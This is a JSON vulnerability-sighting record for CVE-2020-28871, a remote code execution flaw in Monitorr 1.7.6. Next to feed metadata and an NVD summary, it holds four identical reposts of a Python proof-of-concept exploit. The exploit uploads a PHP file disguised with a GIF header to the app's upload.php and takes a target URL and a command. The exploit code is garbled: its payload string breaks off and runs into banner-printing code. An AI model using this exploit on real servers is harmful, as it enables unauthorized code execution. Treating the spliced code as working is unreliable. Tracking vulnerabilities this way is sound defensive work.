{"vulnerability": "cve-2020-28871", "sightings": [{"uuid": "31d30f90-9f89-4023-a113-08caeb492595", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-28871", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:44.000000Z"}, {"uuid": "fa008dd5-675e-4ff5-b293-2ac2edee9fbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-28871", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:27.000000Z"}, {"uuid": "ee936ac1-5f5e-4708-a732-2c8d460573a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-28871", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:12:59.000000Z"}, {"uuid": "75528636-a799-431b-b05a-a9a21e8990f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-28871", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/monitorr_webshell_rce_cve_2020_28871.rb", "content": "", "creation_timestamp": "2023-03-22T18:15:21.000000Z"}, {"uuid": "7750758a-f6b7-433f-a311-1ecbf459978e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-28871", "type": "seen", "source": "https://t.me/cibsecurity/23346", "content": "\u203c CVE-2020-28871 \u203c\n\nRemote code execution in Monitorr v1.7.6m in upload.php allows an unauthorized person to execute arbitrary code on the server-side via an insecure file upload.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-02-10T07:41:00.000000Z"}, {"uuid": "8ddba7b7-82c6-4d37-b403-a90e157ff650", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-28871", "type": "seen", "source": "https://t.me/hacking_Attack/89753", "content": "Exploit Collector\nMonitorr 1.7.6 Shell Upload\n\nhttps://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png \nMonitorr version 1.7.6 remote shell upload proof of concept exploit written in Python.\n\nSHA-256 | c0040528446da97e96fe4067b3c78e371267bbe3dfac766ad6862a81992f7d59\n\nDownload\n# Exploit Title: Monitorr v1.7.6 - Unauthenticated File upload to Remote Code Execution\n# Exploit Author: Achuth V P (retrymp3)\n# Date: February 09, 2023\n# Vendor Homepage: https://github.com/Monitorr/\n# Software Link: https://github.com/Monitorr/Monitorr\n# Tested on: Ubuntu\n# Version: v1.7.6\n# Exploit Description: Monitorr v1.7.6 suffers from unauthenticated file upload to remote code execution vulnerability\n# CVE: CVE-2020-28871\n\nimport requests\nimport random\nimport string\n#from requests.auth import HTTPBasicAuth\nfrom colorama import (Fore as F, Back as B, Style as S)\nBR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT\n\ndef payL():\nfileName=''.join(random.choice(string.ascii_lowercase) for i in range(16))+'.php'\ntf1=requests.post(url+'/assets/php/upload.php',\nfiles=(\n('fileToUpload', (fileName, 'GIF87a\\n||__-__-_|         \\n\"\nSIG += FY+\"         \"+FR+\"|  |.'  ,||_______          \"+FY+\"\\n\"\nSIG += FY+\"         |    _ < ||__-__-_|\"+FR+\"*  *  *\"+FY+\" \\n\"\nSIG += FY+\"         |  |\\  \\ ||__-__-_\\n\"\nSIG += FY+\"         \"+FR+\"|___ \\_ \\||_______| \"+FY+\"\\n\"\nSIG += FY+\"\\n\"+\"    _____\"+FR+\"github.com/retrymp3\"+FY+\"_____\\n\"+ST\nreturn SIG\n\ndef argsetup():\nabout  = SB+FT+'Monitorr v1.7.6 - Unauthenticated File upload to Remote Code Execution\\n'+ST\nreturn about\n\nif __name__ == \"__main__\":\nheader = SB+FT+\"\\n\"+'             '+FR+'retrymp3\\n'+ST\nprint(header)\nprint(sig())\nprint(argsetup())\n#proxies = {\"http\": \"http://127.0.0.1:8080\", \"https\": \"http://127.0.0.1:8080\"}\nurl=input(\"Enter the base url: \")\ncmd=input(\"Command: \")\npayL()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:05.018648Z"}, {"uuid": "d2205e0e-9825-4990-9162-0d311620f312", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-28871", "type": "seen", "source": "https://t.me/hacking_Attack/89753", "content": "Exploit Collector\nMonitorr 1.7.6 Shell Upload\n\nhttps://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png \nMonitorr version 1.7.6 remote shell upload proof of concept exploit written in Python.\n\nSHA-256 | c0040528446da97e96fe4067b3c78e371267bbe3dfac766ad6862a81992f7d59\n\nDownload\n# Exploit Title: Monitorr v1.7.6 - Unauthenticated File upload to Remote Code Execution\n# Exploit Author: Achuth V P (retrymp3)\n# Date: February 09, 2023\n# Vendor Homepage: https://github.com/Monitorr/\n# Software Link: https://github.com/Monitorr/Monitorr\n# Tested on: Ubuntu\n# Version: v1.7.6\n# Exploit Description: Monitorr v1.7.6 suffers from unauthenticated file upload to remote code execution vulnerability\n# CVE: CVE-2020-28871\n\nimport requests\nimport random\nimport string\n#from requests.auth import HTTPBasicAuth\nfrom colorama import (Fore as F, Back as B, Style as S)\nBR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT\n\ndef payL():\nfileName=''.join(random.choice(string.ascii_lowercase) for i in range(16))+'.php'\ntf1=requests.post(url+'/assets/php/upload.php',\nfiles=(\n('fileToUpload', (fileName, 'GIF87a\\n||__-__-_|         \\n\"\nSIG += FY+\"         \"+FR+\"|  |.'  ,||_______          \"+FY+\"\\n\"\nSIG += FY+\"         |    _ < ||__-__-_|\"+FR+\"*  *  *\"+FY+\" \\n\"\nSIG += FY+\"         |  |\\  \\ ||__-__-_\\n\"\nSIG += FY+\"         \"+FR+\"|___ \\_ \\||_______| \"+FY+\"\\n\"\nSIG += FY+\"\\n\"+\"    _____\"+FR+\"github.com/retrymp3\"+FY+\"_____\\n\"+ST\nreturn SIG\n\ndef argsetup():\nabout  = SB+FT+'Monitorr v1.7.6 - Unauthenticated File upload to Remote Code Execution\\n'+ST\nreturn about\n\nif __name__ == \"__main__\":\nheader = SB+FT+\"\\n\"+'             '+FR+'retrymp3\\n'+ST\nprint(header)\nprint(sig())\nprint(argsetup())\n#proxies = {\"http\": \"http://127.0.0.1:8080\", \"https\": \"http://127.0.0.1:8080\"}\nurl=input(\"Enter the base url: \")\ncmd=input(\"Command: \")\npayL()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:25.682094Z"}, {"uuid": "f0e12d6e-9b93-4ea2-ad34-0666ad9979b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-28871", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/89753", "content": "Exploit Collector\nMonitorr 1.7.6 Shell Upload\n\nhttps://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png \nMonitorr version 1.7.6 remote shell upload proof of concept exploit written in Python.\n\nSHA-256 | c0040528446da97e96fe4067b3c78e371267bbe3dfac766ad6862a81992f7d59\n\nDownload\n# Exploit Title: Monitorr v1.7.6 - Unauthenticated File upload to Remote Code Execution\n# Exploit Author: Achuth V P (retrymp3)\n# Date: February 09, 2023\n# Vendor Homepage: https://github.com/Monitorr/\n# Software Link: https://github.com/Monitorr/Monitorr\n# Tested on: Ubuntu\n# Version: v1.7.6\n# Exploit Description: Monitorr v1.7.6 suffers from unauthenticated file upload to remote code execution vulnerability\n# CVE: CVE-2020-28871\n\nimport requests\nimport random\nimport string\n#from requests.auth import HTTPBasicAuth\nfrom colorama import (Fore as F, Back as B, Style as S)\nBR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT\n\ndef payL():\nfileName=''.join(random.choice(string.ascii_lowercase) for i in range(16))+'.php'\ntf1=requests.post(url+'/assets/php/upload.php',\nfiles=(\n('fileToUpload', (fileName, 'GIF87a\\n||__-__-_|         \\n\"\nSIG += FY+\"         \"+FR+\"|  |.'  ,||_______          \"+FY+\"\\n\"\nSIG += FY+\"         |    _ < ||__-__-_|\"+FR+\"*  *  *\"+FY+\" \\n\"\nSIG += FY+\"         |  |\\  \\ ||__-__-_\\n\"\nSIG += FY+\"         \"+FR+\"|___ \\_ \\||_______| \"+FY+\"\\n\"\nSIG += FY+\"\\n\"+\"    _____\"+FR+\"github.com/retrymp3\"+FY+\"_____\\n\"+ST\nreturn SIG\n\ndef argsetup():\nabout  = SB+FT+'Monitorr v1.7.6 - Unauthenticated File upload to Remote Code Execution\\n'+ST\nreturn about\n\nif __name__ == \"__main__\":\nheader = SB+FT+\"\\n\"+'             '+FR+'retrymp3\\n'+ST\nprint(header)\nprint(sig())\nprint(argsetup())\n#proxies = {\"http\": \"http://127.0.0.1:8080\", \"https\": \"http://127.0.0.1:8080\"}\nurl=input(\"Enter the base url: \")\ncmd=input(\"Command: \")\npayL()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-04T21:00:04.130226Z"}, {"uuid": "76f5da18-0173-4940-acdc-69752d59f2b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-28871", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/89753", "content": "Exploit Collector\nMonitorr 1.7.6 Shell Upload\n\nhttps://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png \nMonitorr version 1.7.6 remote shell upload proof of concept exploit written in Python.\n\nSHA-256 | c0040528446da97e96fe4067b3c78e371267bbe3dfac766ad6862a81992f7d59\n\nDownload\n# Exploit Title: Monitorr v1.7.6 - Unauthenticated File upload to Remote Code Execution\n# Exploit Author: Achuth V P (retrymp3)\n# Date: February 09, 2023\n# Vendor Homepage: https://github.com/Monitorr/\n# Software Link: https://github.com/Monitorr/Monitorr\n# Tested on: Ubuntu\n# Version: v1.7.6\n# Exploit Description: Monitorr v1.7.6 suffers from unauthenticated file upload to remote code execution vulnerability\n# CVE: CVE-2020-28871\n\nimport requests\nimport random\nimport string\n#from requests.auth import HTTPBasicAuth\nfrom colorama import (Fore as F, Back as B, Style as S)\nBR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT\n\ndef payL():\nfileName=''.join(random.choice(string.ascii_lowercase) for i in range(16))+'.php'\ntf1=requests.post(url+'/assets/php/upload.php',\nfiles=(\n('fileToUpload', (fileName, 'GIF87a\\n||__-__-_|         \\n\"\nSIG += FY+\"         \"+FR+\"|  |.'  ,||_______          \"+FY+\"\\n\"\nSIG += FY+\"         |    _ < ||__-__-_|\"+FR+\"*  *  *\"+FY+\" \\n\"\nSIG += FY+\"         |  |\\  \\ ||__-__-_\\n\"\nSIG += FY+\"         \"+FR+\"|___ \\_ \\||_______| \"+FY+\"\\n\"\nSIG += FY+\"\\n\"+\"    _____\"+FR+\"github.com/retrymp3\"+FY+\"_____\\n\"+ST\nreturn SIG\n\ndef argsetup():\nabout  = SB+FT+'Monitorr v1.7.6 - Unauthenticated File upload to Remote Code Execution\\n'+ST\nreturn about\n\nif __name__ == \"__main__\":\nheader = SB+FT+\"\\n\"+'             '+FR+'retrymp3\\n'+ST\nprint(header)\nprint(sig())\nprint(argsetup())\n#proxies = {\"http\": \"http://127.0.0.1:8080\", \"https\": \"http://127.0.0.1:8080\"}\nurl=input(\"Enter the base url: \")\ncmd=input(\"Command: \")\npayL()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-05T01:00:14.931187Z"}]}